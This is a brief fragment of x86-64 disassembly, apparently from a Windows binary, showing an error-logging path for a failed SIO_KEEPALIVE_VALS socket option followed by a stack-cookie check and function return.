lea rdx, str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
mov r8d, edi
mov r9d, eax
mov rcx, rbx
call fcn.140017290
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14004cef0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret